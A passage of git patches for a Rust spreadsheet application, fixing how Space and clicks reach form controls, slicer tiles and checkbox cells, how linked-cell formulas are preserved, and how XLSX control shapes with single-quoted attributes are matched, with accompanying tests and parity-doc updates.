b/crates/ui-egui/src/form_controls.rs @@ -357,11 +357,18 @@ fn step_part(app: &mut SheetApp, c: &FormControl, part: Part) { }; } +/// Whether the focused control is a button. Space presses one, so the space it types must not +/// start a cell edit; a slider or spin button doesn't take Space, and its space reaches the grid +/// like any other character. +pub fn focused_button(app: &SheetApp, sh: &Sheet) -> bool { + app.grid.focused_control.and_then(|id| find(sh, id)).is_some_and(|c| c.kind == ControlKind::Button) +} + /// The grid takes a key while a control is focused: a button gives the keyboard back, so a later /// Enter or Space doesn't press it again and Space starts a cell edit; a slider or spin button /// keeps it, as the control last worked, which the arrows still step. pub fn key_to_grid(app: &mut SheetApp, sh: &Sheet) { - if app.grid.focused_control.and_then(|id| find(sh, id)).is_some_and(|c| c.kind == ControlKind::Button) { + if focused_button(app, sh) { app.grid.focused_control = None; } } diff --git a/crates/ui-egui/src/grid/keyboard.rs b/crates/ui-egui/src/grid/keyboard.rs index f72badef6..8f3dfb141 100644 --- a/crates/ui-egui/src/grid/keyboard.rs +++ b/crates/ui-egui/src/grid/keyboard.rs @@ -165,12 +165,13 @@ fn grid_events(app: &mut SheetApp, ctx: &egui::Context, sh: &Sheet) -> Vec bool { match ev { - egui::Event::Text(text) => text == " " && app.grid.focused_control.is_some() && app.selected_object.is_none(), + egui::Event::Text(text) => text == " " && app.selected_object.is_none() && crate::form_controls::focused_button(app, sh), egui::Event::Key { key, pressed: true, repeat, modifiers: m, .. } => { if !m.command && !m.ctrl && !m.alt && crate::form_controls::key(app, sh, *key, *repeat) { return true; diff --git a/crates/ui-egui/tests/it/form_controls.rs b/crates/ui-egui/tests/it/form_controls.rs index 325ad1a29..f202df1be 100644 --- a/crates/ui-egui/tests/it/form_controls.rs +++ b/crates/ui-egui/tests/it/form_controls.rs @@ -321,6 +321,32 @@ fn a_button_gives_the_keyboard_back_when_the_grid_takes_a_key() { assert_eq!(active(&h), "A1"); } +/// Space is a key a slider or spin button doesn't take, so it reaches the grid like any other +/// character: a cell edit starts with a space and the control's value is unchanged. The control +/// keeps the keyboard, as the control last worked: after the edit, the arrows still step it. +#[test] +fn space_starts_a_cell_edit_while_a_slider_or_spin_button_is_focused() { + let (mut h, ids) = fixture(); + let spin = rect(&h, ids.spin); + for (id, at, step) in + [(ids.slider, thumb(&h, ids.slider).center(), Key::ArrowRight), (ids.spin, Pos2::new(spin.center().x, spin.top() + 5.0), Key::ArrowUp)] + { + click(&mut h, at); + assert_eq!(h.state().grid.focused_control, Some(id)); + let value = control(&h, id).value; + space(&mut h); + assert_eq!(h.state().editor.as_ref().map(|e| e.text.as_str()), Some(" "), "Space starts editing the cell with a space"); + assert_eq!(control(&h, id).value, value, "the control is unchanged"); + assert_eq!(h.state().grid.focused_control, Some(id), "the control last worked keeps the keyboard"); + key(&mut h, Key::Escape); + assert!(h.state().editor.is_none(), "Escape cancels the edit"); + key(&mut h, step); + assert_eq!(control(&h, id).value, value + control(&h, id).step, "the arrows still step it"); + key(&mut h, Key::Escape); + assert_eq!(h.state().grid.focused_control, None); + } +} + /// A right-click on a cell takes the keyboard from a button, like any other click on the grid: /// the Enter that follows does not press it again. #[test] diff --git a/docs/ui-parity.md b/docs/ui-parity.md index b3c467e5e..f0ead2518 100644 --- a/docs/ui-parity.md +++ b/docs/ui-parity.md @@ -69,7 +69,7 @@ this logic, with one undo step. | Copy as HTML table for other apps | done (#36, 10-10) | | Context menu on cells | 16 items (Cut, Copy, Paste, Paste Special, Insert, Delete, Clear Contents, Filter by value, Sort, New Comment, New Note, Format Cells, Pick From Drop-down List, Define Name, Link). Insert Copied Cells (Insert Cut Cells for whole rows/columns) while the clipboard holds a copy (#21). Show Details on a PivotTable's value, subtotal or grand total cell (`pivot.showDetails`). Missing: Insert Cut Cells for a cell block, paste-option icons, Quick Analysis, Get Data from Table, Show Changes, Smart Lookup | | Move and resize charts, pictures and shapes | done (#190, #213): charts, pictures, shapes and slicers select with a frame of eight handles; each handle resizes only its own edges (they never cross), the body moves the object, and the pointer shows a resize or move cursor; Delete or Backspace deletes the selected object and Escape drops the selection; double-click edits a text box, opens Format Chart for a chart. Rotation handle, Shift for proportional resizing, Alt to snap to cells and multi-object selection missing | -| Form controls: buttons, scroll bars (sliders), spin buttons | done (10-31): Insert › Controls (Button, Slider, Spin Button; Excel has them under Developer › Insert) places one by a drag, or at its default size by a click; a click works a control: drag the thumb, page on the track, click or hold an arrow (a drag or a hold is one undo step), press a button, which runs a macro or a command and asks first in a workbook opened from a file; the control last worked takes the arrows, Page Up and Page Down, Home, End, and Space or Enter (a button gives the keyboard back as soon as the grid takes a key or a right-click); Ctrl or Cmd+click or a right-click selects it to move or resize; its menu has Edit Text, Assign Action, Format Control and Delete. Check boxes, option buttons, list boxes and drop-downs (form controls) are kept from files but not shown | +| Form controls: buttons, scroll bars (sliders), spin buttons | done (10-31): Insert › Controls (Button, Slider, Spin Button; Excel has them under Developer › Insert) places one by a drag, or at its default size by a click; a click works a control: drag the thumb, page on the track, click or hold an arrow (a drag or a hold is one undo step), press a button, which runs a macro or a command and asks first in a workbook opened from a file; the control last worked takes the arrows, Page Up and Page Down, Home, End, and Space or Enter (a button gives the keyboard back as soon as the grid takes a key or a right-click; Space on a slider or spin button starts a cell edit like any other character); Ctrl or Cmd+click or a right-click selects it to move or resize; its menu has Edit Text, Assign Action, Format Control and Delete. Check boxes, option buttons, list boxes and drop-downs (form controls) are kept from files but not shown | | Context menus on row/column headers, sheet tabs, charts, shapes | headers and tabs done; objects partial | | Quick Analysis (Ctrl+Q) | missing | | Smooth scrolling, scrollbars | done; vertical scrollbar added 10-09 (#73); horizontal scrollbar in the tab bar (60/40 split, drag, track click pages) 10-13 (#176, #840); dragging the handle at the scrollbar's left edge gives the tabs more or less of the bar; each workbook keeps its share while it is open (not saved in the file) | From d1f69878f6701490a2ba2b05d89b789b57be0dba Mon Sep 17 00:00:00 2001 From: prxnvt <53838599+prxnvt@users.noreply.github.com> Date: Mon, 2 Nov 2026 03:06:40 -0500 Subject: [PATCH 050/167] Form controls: Space on a checkbox cell toggles it once while a slider or spin button is focused With a slider or spin button focused, the Space key reached the grid and toggled a checkbox cell, and the space it types then started a cell edit over the toggle (Escape cancelled the edit but not the toggle). Now the typed space is dropped while a control is focused and the active cell is a checkbox, as it is for a focused button: Space on a cell does what it does with no control focused and nothing more, a checkbox cell toggles once with no edit, any other cell starts an edit with a space. The path with no control focused is unchanged. Test (kittest): space_on_a_checkbox_cell_toggles_it_once_while_a_slider_is_focused (toggled once, no editor, the slider's value and focus unchanged; a second Space toggles back). docs/ui-parity.md says so. --- crates/ui-egui/src/grid/keyboard.rs | 17 ++++++++++++----- crates/ui-egui/tests/it/form_controls.rs | 23 +++++++++++++++++++++++ docs/ui-parity.md | 2 +- 3 files changed, 36 insertions(+), 6 deletions(-) diff --git a/crates/ui-egui/src/grid/keyboard.rs b/crates/ui-egui/src/grid/keyboard.rs index 8f3dfb141..4c0ca282d 100644 --- a/crates/ui-egui/src/grid/keyboard.rs +++ b/crates/ui-egui/src/grid/keyboard.rs @@ -165,13 +165,20 @@ fn grid_events(app: &mut SheetApp, ctx: &egui::Context, sh: &Sheet) -> Vec bool { match ev { - egui::Event::Text(text) => text == " " && app.selected_object.is_none() && crate::form_controls::focused_button(app, sh), + egui::Event::Text(text) => { + text == " " + && app.selected_object.is_none() + && app.grid.focused_control.is_some() + && (crate::form_controls::focused_button(app, sh) || is_checkbox(sh, app)) + } egui::Event::Key { key, pressed: true, repeat, modifiers: m, .. } => { if !m.command && !m.ctrl && !m.alt && crate::form_controls::key(app, sh, *key, *repeat) { return true; diff --git a/crates/ui-egui/tests/it/form_controls.rs b/crates/ui-egui/tests/it/form_controls.rs index f202df1be..44d1f9f32 100644 --- a/crates/ui-egui/tests/it/form_controls.rs +++ b/crates/ui-egui/tests/it/form_controls.rs @@ -347,6 +347,29 @@ fn space_starts_a_cell_edit_while_a_slider_or_spin_button_is_focused() { } } +/// With a slider or spin button focused, Space on a cell does what it does with no control +/// focused and nothing more: a checkbox cell toggles once and no edit starts (the typed space is +/// dropped, as the toggle is what Space does there), and the control's value is unchanged. +#[test] +fn space_on_a_checkbox_cell_toggles_it_once_while_a_slider_is_focused() { + let (mut h, ids) = fixture(); + h.state_mut().run("insert.checkbox", json!({"range": "A20"})).unwrap(); + h.run_steps(2); + assert_eq!(cell(&h, "A20"), Value::Bool(false)); + let at = thumb(&h, ids.slider).center(); + click(&mut h, at); + assert_eq!(h.state().grid.focused_control, Some(ids.slider)); + let value = control(&h, ids.slider).value; + space(&mut h); + assert_eq!(cell(&h, "A20"), Value::Bool(true), "Space toggled the box once"); + assert!(h.state().editor.is_none(), "and started no edit"); + assert_eq!(control(&h, ids.slider).value, value, "the slider is unchanged"); + assert_eq!(h.state().grid.focused_control, Some(ids.slider), "and keeps the keyboard"); + space(&mut h); + assert_eq!(cell(&h, "A20"), Value::Bool(false), "a second Space toggles it back"); + assert!(h.state().editor.is_none()); +} + /// A right-click on a cell takes the keyboard from a button, like any other click on the grid: /// the Enter that follows does not press it again. #[test] diff --git a/docs/ui-parity.md b/docs/ui-parity.md index f0ead2518..7147bd400 100644 --- a/docs/ui-parity.md +++ b/docs/ui-parity.md @@ -69,7 +69,7 @@ this logic, with one undo step. | Copy as HTML table for other apps | done (#36, 10-10) | | Context menu on cells | 16 items (Cut, Copy, Paste, Paste Special, Insert, Delete, Clear Contents, Filter by value, Sort, New Comment, New Note, Format Cells, Pick From Drop-down List, Define Name, Link). Insert Copied Cells (Insert Cut Cells for whole rows/columns) while the clipboard holds a copy (#21). Show Details on a PivotTable's value, subtotal or grand total cell (`pivot.showDetails`). Missing: Insert Cut Cells for a cell block, paste-option icons, Quick Analysis, Get Data from Table, Show Changes, Smart Lookup | | Move and resize charts, pictures and shapes | done (#190, #213): charts, pictures, shapes and slicers select with a frame of eight handles; each handle resizes only its own edges (they never cross), the body moves the object, and the pointer shows a resize or move cursor; Delete or Backspace deletes the selected object and Escape drops the selection; double-click edits a text box, opens Format Chart for a chart. Rotation handle, Shift for proportional resizing, Alt to snap to cells and multi-object selection missing | -| Form controls: buttons, scroll bars (sliders), spin buttons | done (10-31): Insert › Controls (Button, Slider, Spin Button; Excel has them under Developer › Insert) places one by a drag, or at its default size by a click; a click works a control: drag the thumb, page on the track, click or hold an arrow (a drag or a hold is one undo step), press a button, which runs a macro or a command and asks first in a workbook opened from a file; the control last worked takes the arrows, Page Up and Page Down, Home, End, and Space or Enter (a button gives the keyboard back as soon as the grid takes a key or a right-click; Space on a slider or spin button starts a cell edit like any other character); Ctrl or Cmd+click or a right-click selects it to move or resize; its menu has Edit Text, Assign Action, Format Control and Delete. Check boxes, option buttons, list boxes and drop-downs (form controls) are kept from files but not shown | +| Form controls: buttons, scroll bars (sliders), spin buttons | done (10-31): Insert › Controls (Button, Slider, Spin Button; Excel has them under Developer › Insert) places one by a drag, or at its default size by a click; a click works a control: drag the thumb, page on the track, click or hold an arrow (a drag or a hold is one undo step), press a button, which runs a macro or a command and asks first in a workbook opened from a file; the control last worked takes the arrows, Page Up and Page Down, Home, End, and Space or Enter (a button gives the keyboard back as soon as the grid takes a key or a right-click; Space on a slider or spin button does what it does with no control focused: it toggles a checkbox cell or starts a cell edit like any other character); Ctrl or Cmd+click or a right-click selects it to move or resize; its menu has Edit Text, Assign Action, Format Control and Delete. Check boxes, option buttons, list boxes and drop-downs (form controls) are kept from files but not shown | | Context menus on row/column headers, sheet tabs, charts, shapes | headers and tabs done; objects partial | | Quick Analysis (Ctrl+Q) | missing | | Smooth scrolling, scrollbars | done; vertical scrollbar added 10-09 (#73); horizontal scrollbar in the tab bar (60/40 split, drag, track click pages) 10-13 (#176, #840); dragging the handle at the scrollbar's left edge gives the tabs more or less of the bar; each workbook keeps its share while it is open (not saved in the file) | From d09694ff619a8836615ca7df658becf838670f1b Mon Sep 17 00:00:00 2001 From: prxnvt <53838599+prxnvt@users.noreply.github.com> Date: Mon, 2 Nov 2026 04:45:33 -0500 Subject: [PATCH 051/167] Form controls: a slicer tile under a control is not toggled by a click meant for the control A click on a form control that form_controls::interact leaves to the grid (Ctrl or Cmd+click, which selects the control; a click on a selected control, which moves it) fell through to the slicer tile branch, which looks only at slicers, so a control placed over a slicer's value tile had the tile toggled and the slicer selected before the generic object handling could select or drag the control. The slicer tile branch now runs only when the press lands on a slicer by the same test the generic path uses (the selected object's handle first, then the topmost object), so the z-order decides once; a control over a tile, and a selected object's handle over one, keep the generic path. Charts, pictures and shapes lie beneath slicers in that order, so they were not affected. Test (kittest): a_control_over_a_slicer_tile_keeps_the_generic_path_on_a_selecting_click (a button over the first tile; Cmd+click selects the button and the slicer's filter is unchanged; a click on the selected button still toggles nothing; an uncovered tile still toggles). --- crates/ui-egui/src/grid/interact.rs | 21 ++++++++-- crates/ui-egui/tests/it/objects.rs | 60 +++++++++++++++++++++++++++++ 2 files changed, 77 insertions(+), 4 deletions(-) diff --git a/crates/ui-egui/src/grid/interact.rs b/crates/ui-egui/src/grid/interact.rs index 65214813b..deb75d338 100644 --- a/crates/ui-egui/src/grid/interact.rs +++ b/crates/ui-egui/src/grid/interact.rs @@ -109,10 +109,14 @@ pub(super) fn interact(app: &mut SheetApp, ui: &mut egui::Ui, resp: &egui::Respo return; } // A plain click on a slicer value tile toggles it (Ctrl/Cmd for multi-select); the clear - // button resets it. Runs before the generic object select/drag so tiles stay clickable. + // button resets it. Runs before the generic object select/drag so tiles stay clickable, but + // only when the slicer is what the press lands on: a form control over a tile (Ctrl or + // Cmd+clicked, or clicked while selected, so `form_controls::interact` left the click) and a + // selected object's handle keep the generic path, which selects, moves or resizes them. if primary_clicked && !resp.drag_started() && let Some(p) = pos + && object_under(app, geo, sh, p).is_some_and(|(o, _, handle)| o.kind == ObjKind::Slicer && handle.is_none()) && let Some((id, act)) = crate::chartview::slicer_click(geo, sh, wb, wb.active_sheet(), p) { app.selected_object = Some(ObjRef::new(ObjKind::Slicer, id)); @@ -135,10 +139,10 @@ pub(super) fn interact(app: &mut SheetApp, ui: &mut egui::Ui, resp: &egui::Respo // The selected object's handles reach a little outside it, so they win over hit-testing. // Only they resize: a press anywhere on another object selects and moves it, as the // hover cursor shows. - let on_handle = at.and_then(|p| crate::chartview::selected_handle(app, geo, sh, p)); - let handle = on_handle.map(|(.., h)| h); + let under = at.and_then(|p| object_under(app, geo, sh, p)); + let handle = under.and_then(|(.., h)| h); if let Some(p) = at - && let Some((obj, _)) = on_handle.map(|(o, r, _)| (o, r)).or_else(|| crate::chartview::hit(app, geo, sh, p)) + && let Some((obj, _, _)) = under { app.selected_object = Some(obj); if resp.double_clicked() && app.open_object(obj) != crate::objects::OpenAction::Select { @@ -544,6 +548,15 @@ fn handle_cell_double_click(app: &mut SheetApp, input: &InteractionInput<'_>, c: false } +/// What a press at `p` lands on, for slicer tiles and the generic object handling alike, so the +/// z-order decides once: the selected object's handle (handles reach a little past the frame and +/// win over hit-testing), else the topmost object under `p` and its rect. +fn object_under(app: &SheetApp, geo: &Geo, sh: &Sheet, p: Pos2) -> Option<(ObjRef, Rect, Option)> { + crate::chartview::selected_handle(app, geo, sh, p) + .map(|(o, r, h)| (o, r, Some(h))) + .or_else(|| crate::chartview::hit(app, geo, sh, p).map(|(o, r)| (o, r, None))) +} + fn handle_context_menu_and_keyboard(app: &mut SheetApp, input: &InteractionInput<'_>) { let (geo, sh, sel, pos) = (input.geo, input.sheet, &input.selection, input.position); let resp = input.response; diff --git a/crates/ui-egui/tests/it/objects.rs b/crates/ui-egui/tests/it/objects.rs index e0c272817..8870f0709 100644 --- a/crates/ui-egui/tests/it/objects.rs +++ b/crates/ui-egui/tests/it/objects.rs @@ -108,6 +108,18 @@ fn click(h: &mut Harness, p: Pos2) { h.run_steps(2); } +fn click_with(h: &mut Harness, p: Pos2, modifiers: Modifiers) { + h.run_steps(30); + for pressed in [true, false] { + h.input_mut().events.push(Event::ModifiersChanged(modifiers)); + h.input_mut().events.push(Event::PointerMoved(p)); + h.input_mut().events.push(Event::PointerButton { pos: p, button: PointerButton::Primary, pressed, modifiers }); + h.step(); + } + h.input_mut().events.push(Event::ModifiersChanged(Modifiers::NONE)); + h.run_steps(2); +} + fn double_click(h: &mut Harness, p: Pos2) { // Separate the gesture from earlier clicks (egui's triple-click window). h.run_steps(45); @@ -136,6 +148,54 @@ fn kept(h: &Harness) -> Value { h.state().session.doc().unwrap().wb.active().unwrap().value(at("R30")) } +/// A form control over a slicer's value tile is the topmost object there, so a click that +/// `form_controls::interact` leaves to the grid (Cmd+click selects the control; a click on a +/// selected control moves it) takes the generic object path and never toggles the tile beneath. +#[test] +fn a_control_over_a_slicer_tile_keeps_the_generic_path_on_a_selecting_click() { + let (mut h, o) = fixture(); + let slicer = rect(&h, o.slicer); + // A button exactly over the slicer's first value tile: the tile in screen units at the + // grid's scale, then the button's anchor in sheet units from the slicer's own. + let (z, anchor, n, columns) = { + let app = h.state(); + let d = app.session.doc().unwrap(); + let sh = d.wb.active().unwrap(); + let sl = sh.slicers.iter().find(|s| s.id == o.slicer.id).unwrap(); + let geo = Geo::new(sh, app.grid.rect.unwrap(), app.view().scroll); + (geo.z, sl.anchor, gridcraft_engine::cmd::slicer::slicer_items(&d.wb, d.wb.active_sheet(), sl).len(), sl.columns) + }; + let layout = chartview::slicer_layout(slicer, z, n, columns); + let tile = layout.tiles[0]; + let params = json!({ + "at": anchor.cell.a1(), + "dx": anchor.dx + (tile.left() - slicer.left()) / z, + "dy": anchor.dy + (tile.top() - slicer.top()) / z, + "width": tile.width() / z, + "height": tile.height() / z, + "text": "Over", + }); + let button = ObjRef::new(ObjKind::Control, id(&h.state_mut().run("insert.button", params).unwrap(), "control")); + h.run_steps(2); + assert!(rect(&h, button).contains(tile.center()), "the button covers the tile: {:?} vs {tile:?}", rect(&h, button)); + let filter = + |h: &Harness| h.state().session.doc().unwrap().wb.active().unwrap().slicers.iter().find(|s| s.id == o.slicer.id).unwrap().selected.clone(); + assert_eq!(filter(&h), None); + // Cmd+click selects the control without working it, and the tile beneath stays as it was. + click_with(&mut h, tile.center(), Modifiers::COMMAND); + assert_eq!(h.state().selected_object, Some(button), "the control is selected"); + assert_eq!(filter(&h), None, "the tile under the control was not toggled"); + // A click on the selected control is for moving it, not for the tile beneath either. + click(&mut h, tile.center()); + assert_eq!(h.state().selected_object, Some(button)); + assert_eq!(filter(&h), None, "still no toggle"); + // The tile itself, clear of the control, still toggles. + let free = layout.tiles[1].center(); + h.state_mut().selected_object = None; + click(&mut h, free); + assert!(filter(&h).is_some(), "a click on an uncovered tile toggles it"); +} + #[test] fn a_click_selects_every_kind_and_slicers_win_over_charts() { let (mut h, o) = fixture(); From 112a9c78b9a69716297980fc3f49f8a4e06b84ca Mon Sep 17 00:00:00 2001 From: prxnvt <53838599+prxnvt@users.noreply.github.com> Date: Mon, 2 Nov 2026 05:11:23 -0500 Subject: [PATCH 052/167] Form controls: a linked cell's formula survives a write of the value it already shows write_link skipped the write only when the linked cell held a constant equal to the value; a cell with a formula was always written, so Format Control's OK (which sends the value back every time) replaced the formula with a constant even when the formula showed that value, and on a protected sheet with the linked cell locked a rename was refused. The value the cell shows is now compared whether or not it holds a formula: a write that changes nothing is skipped, and a real change still replaces the formula with the constant, as in Excel. Test: a_formula_in_the_linked_cell_survives_a_write_of_the_value_it_shows (insert and Format Control with the value the formula shows keep the formula, also on a protected sheet with the cell locked; a changed value writes the constant). --- crates/engine/src/cmd/controls.rs | 7 ++++-- crates/engine/src/tests/controls.rs | 36 +++++++++++++++++++++++++++++ 2 files changed, 41 insertions(+), 2 deletions(-) diff --git a/crates/engine/src/cmd/controls.rs b/crates/engine/src/cmd/controls.rs index ac1c9d90f..a7c0afbf8 100644 --- a/crates/engine/src/cmd/controls.rs +++ b/crates/engine/src/cmd/controls.rs @@ -276,11 +276,14 @@ fn linked_number(wb: &Workbook, host: usize, c: &FormControl) -> Option { wb.sheet(si)?.cell(cell)?.value.as_f64() } -/// Writes `value` to the linked cell through `cell.set` (nothing without a link). +/// Writes `value` to the linked cell through `cell.set` (nothing without a link, or when the cell +/// already shows `value`, formula or not: Format Control's OK sends the value back every time, and +/// a write that changes nothing must not turn a formula into a constant or fail on a locked cell +/// of a protected sheet; a real change replaces a formula with the constant, as in Excel). fn write_link(s: &mut Session, host: usize, link: Option<&str>, value: u32) -> Result<()> { let Some(link) = link else { return Ok(()) }; let Some((si, cell)) = link_target(&s.doc()?.wb, host, link) else { return Ok(()) }; - let holds = s.doc()?.wb.sheet(si).and_then(|sh| sh.cell(cell)).and_then(|c| if c.formula.is_none() { c.value.as_f64() } else { None }); + let holds = s.doc()?.wb.sheet(si).and_then(|sh| sh.cell(cell)).and_then(|c| c.value.as_f64()); if holds == Some(value as f64) { return Ok(()); } diff --git a/crates/engine/src/tests/controls.rs b/crates/engine/src/tests/controls.rs index 5442aabde..27c0a685a 100644 --- a/crates/engine/src/tests/controls.rs +++ b/crates/engine/src/tests/controls.rs @@ -697,6 +697,42 @@ fn a_button_command_that_would_open_a_dialog_or_a_page_is_refused_after_it_runs( assert_eq!(s.ui_requests.len(), 2); } +/// A linked cell that holds a formula: a write of the value the formula already shows is skipped, +/// so Format Control's OK (which sends the value back every time) keeps the formula, also on a +/// protected sheet with the cell locked; a changed value replaces the formula with the constant. +#[test] +fn a_formula_in_the_linked_cell_survives_a_write_of_the_value_it_shows() { + let mut s = s(); + s.execute("cell.set", json!({"cell": "A1", "input": "10"})).unwrap(); + s.execute("cell.set", json!({"cell": "B1", "input": "=A1*2"})).unwrap(); + let formula = + |s: &Session| s.doc().unwrap().wb.sheet(0).unwrap().cell(gridcraft_core::CellRef::parse("B1").unwrap()).is_some_and(|c| c.formula.is_some()); + assert!(formula(&s)); + // Inserting with the value the formula shows (10 * 2 = 20) writes nothing. + let c = id(&s.execute("insert.slider", json!({"at": "D2", "link": "B1", "value": 20})).unwrap()); + assert!(formula(&s), "the formula stays"); + assert_eq!(v(&s, "B1"), Value::Number(20.0)); + // The dialog's OK: every number sent back, the value unchanged, a new name. + s.execute("control.format", json!({"id": c, "name": "Speed", "value": 20, "min": 0, "max": 100, "step": 1, "page": 10, "locked": false})) + .unwrap(); + assert!(formula(&s), "a rename keeps the formula"); + // Editing A1 moves the control through the formula (15 * 2 = 30); OK with that value keeps it. + s.execute("cell.set", json!({"cell": "A1", "input": "15"})).unwrap(); + assert_eq!(control(&s, c).value, 30); + s.execute("control.format", json!({"id": c, "value": 30, "min": 0, "max": 100, "step": 1})).unwrap(); + assert!(formula(&s)); + // On a protected sheet with B1 locked, the same OK is not refused. + s.execute("review.protectSheet", json!({})).unwrap(); + s.execute("control.format", json!({"id": c, "name": "Rate", "value": 30, "min": 0, "max": 100, "step": 1})).unwrap(); + assert_eq!(control(&s, c).name, "Rate"); + assert!(formula(&s)); + s.execute("review.unprotectSheet", json!({})).unwrap(); + // A changed value writes the constant over the formula. + s.execute("control.format", json!({"id": c, "value": 40, "min": 0, "max": 100, "step": 1})).unwrap(); + assert!(!formula(&s), "the formula is replaced"); + assert_eq!(v(&s, "B1"), Value::Number(40.0)); +} + /// Using a slider or spin button writes its linked cell through `cell.set`, so the cell's /// protection governs it: a locked cell on a protected sheet refuses the change, and the control /// keeps its value (the control's change and the cell write are one group, rolled back together). From 6b9310657555596f5dbb77c77a0d887af8026162 Mon Sep 17 00:00:00 2001 From: prxnvt <53838599+prxnvt@users.noreply.github.com> Date: Mon, 2 Nov 2026 05:14:17 -0500 Subject: [PATCH 053/167] XLSX: a kept control is matched to the modelled ones as the reader reads it, in either quote style without_controls found the controls to drop from a kept fragment by splitting its text on `shapeId="`. The control reader takes the attribute through the XML parser, which also accepts `shapeId='1025'`, so a producer's single-quoted control was modelled, its VML shape taken out of the kept drawing, and the control itself still kept: a save wrote it twice, the kept copy pointing at a shape that no longer existed. The kept child is now parsed and its controls found with the reader's own helpers (controls_of_child, shape_number), so what the reader modelled is what is dropped. The shape type check of the VML merge (``) accepts either quote style too, so a kept drawing that defines our shape type with single quotes is not given a second definition. Test: a_single_quoted_shape_id_is_dropped_from_the_kept_controls_too (the control is read once, nothing of it is kept, the saved sheet holds one control and no single-quoted copy, the VML one shape, and the file reads back with one control). --- crates/xlsx/src/controls.rs | 31 +++++++++++---------- crates/xlsx/src/passthrough/read.rs | 31 ++++++++++++++++++--- crates/xlsx/src/tests/controls_tests.rs | 36 +++++++++++++++++++++++++ 3 files changed, 81 insertions(+), 17 deletions(-) diff --git a/crates/xlsx/src/controls.rs b/crates/xlsx/src/controls.rs index 75c8032df..da22eb127 100644 --- a/crates/xlsx/src/controls.rs +++ b/crates/xlsx/src/controls.rs @@ -357,22 +357,25 @@ fn build(p: Props, kind: ControlKind, anchor: Anchor, name: Option<&str>, id: u3 c } +/// The `` elements one child of a `` element holds: the child itself, or those +/// inside its `mc:AlternateContent` (the Choice, else the Fallback). +pub(crate) fn controls_of_child(k: &El) -> Vec<&El> { + match k.name.as_str() { + "control" => vec![k], + "AlternateContent" => k + .child("Choice") + .filter(|c| c.child("control").is_some()) + .or_else(|| k.child("Fallback")) + .map(|inner| inner.kids("control").collect()) + .unwrap_or_default(), + _ => Vec::new(), + } +} + /// The `` elements under a `` element, looking through `mc:AlternateContent` /// (the Choice, else the Fallback). fn controls_in(e: &El) -> Vec<&El> { - let mut out = Vec::new(); - for k in &e.children { - match k.name.as_str() { - "control" => out.push(k), - "AlternateContent" => { - if let Some(inner) = k.child("Choice").filter(|c| c.child("control").is_some()).or_else(|| k.child("Fallback")) { - out.extend(inner.kids("control")); - } - } - _ => {} - } - } - out + e.children.iter().flat_map(controls_of_child).collect() } /// The `` element of a worksheet child (`controls`, or one inside AlternateContent). @@ -385,7 +388,7 @@ pub fn controls_of(e: &El) -> Option<&El> { } /// The shape number of a VML shape id (`_x0000_s1025` → 1025) or a `shapeId` attribute. -fn shape_number(id: &str) -> Option { +pub(crate) fn shape_number(id: &str) -> Option { id.trim().trim_start_matches("_x0000_s").parse().ok() } diff --git a/crates/xlsx/src/passthrough/read.rs b/crates/xlsx/src/passthrough/read.rs index dad81a9c5..4fc55b9c6 100644 --- a/crates/xlsx/src/passthrough/read.rs +++ b/crates/xlsx/src/passthrough/read.rs @@ -630,8 +630,8 @@ pub(super) fn merge_vml(kept: &str, ours: &str) -> String { while let Some(i) = ours.get(from..).and_then(|s| s.find("")).map(|j| i + j + "".len()) else { break }; let ty = ours.get(i..j).unwrap_or(""); - let id = ty.split("id=\"").nth(1).and_then(|r| r.split('"').next()).unwrap_or(""); - if !id.is_empty() && !kept.contains(&format!("id=\"{id}\"")) { + let id = attr_value(ty, "id").unwrap_or(""); + if !id.is_empty() && !kept.contains(&format!("id=\"{id}\"")) && !kept.contains(&format!("id='{id}'")) { add.push_str(ty); } from = j; @@ -660,6 +660,25 @@ pub(super) fn merge_vml(kept: &str, ours: &str) -> String { format!("{head}{add}{}", kept.get(close..).unwrap_or("")) } +/// The value of the first attribute `name` in XML text `x`, in either quote style (`name="v"` or +/// `name='v'`), when it has one. The name must start a token (`id` is not the end of `spid`). +fn attr_value<'a>(x: &'a str, name: &str) -> Option<&'a str> { + let mut from = 0; + while let Some(i) = x.get(from..)?.find(name).map(|i| i + from) { + from = i + name.len(); + let starts_token = x.get(..i).is_some_and(|before| before.ends_with(|c: char| c.is_whitespace() || c == '<')); + let Some(rest) = x.get(from..).map(str::trim_start).and_then(|r| r.strip_prefix('=')).map(str::trim_start) else { continue }; + if !starts_token { + continue; + } + if let Some(q) = rest.chars().next().filter(|q| *q == '"' || *q == '\'') { + let body = rest.get(q.len_utf8()..)?; + return body.find(q).and_then(|e| body.get(..e)); + } + } + None +} + /// A kept `` fragment without the controls whose `shapeId` is in `drop` (they are /// written from the model). `None` when no control is left. A fragment that doesn't parse is /// returned unchanged. @@ -667,8 +686,14 @@ fn without_controls(frag: &str, drop: &HashSet) -> Option { if drop.is_empty() { return Some(frag.to_string()); } + // A kept child names its shapes the way the control reader reads them (`shapeId` in either + // quote style, through mc:AlternateContent), so what the reader modelled is what is dropped. let numbered = |x: &str| { - x.split("shapeId=\"").skip(1).any(|r| r.split('"').next().and_then(|n| n.trim().parse::().ok()).is_some_and(|n| drop.contains(&n))) + crate::xml::parse(x.as_bytes()).is_ok_and(|e| { + crate::controls::controls_of_child(&e) + .iter() + .any(|c| c.attr("shapeId").and_then(crate::controls::shape_number).is_some_and(|n| drop.contains(&n))) + }) }; let mut reader = Reader::from_str(frag); let mut out = String::with_capacity(frag.len()); diff --git a/crates/xlsx/src/tests/controls_tests.rs b/crates/xlsx/src/tests/controls_tests.rs index 7aedc51d3..323ca14f3 100644 --- a/crates/xlsx/src/tests/controls_tests.rs +++ b/crates/xlsx/src/tests/controls_tests.rs @@ -181,6 +181,42 @@ fn vml_only_controls_are_read_and_clamped() { assert_eq!(c[2].action, Some(ControlAction::Macro { name: "Tidy".into(), input: MacroInput::Selection, output: None })); } +/// A producer that quotes `shapeId` with single quotes: the control is read, and the kept +/// `` fragment drops it as it drops a double-quoted one, so a save holds the control +/// once and no kept copy points at a VML shape that was taken out. +#[test] +fn a_single_quoted_shape_id_is_dropped_from_the_kept_controls_too() { + let rels = r#""#; + let vml = r##"2, 0, 3, 0, 5, 0, 4, 0$B$1400100110"##; + let bytes = minimal( + r#""#, + &[("xl/worksheets/_rels/sheet1.xml.rels", rels), ("xl/drawings/vmlDrawing1.vml", vml)], + "", + "", + ); + let (wb, report) = read_xlsx(&bytes).unwrap(); + // The minimal package has no styles part; nothing about the control is reported. + assert!(report.warnings.iter().all(|w| w == "no styles part"), "{:?}", report.warnings); + let sh = wb.sheet(0).unwrap(); + assert_eq!(sh.controls.len(), 1); + 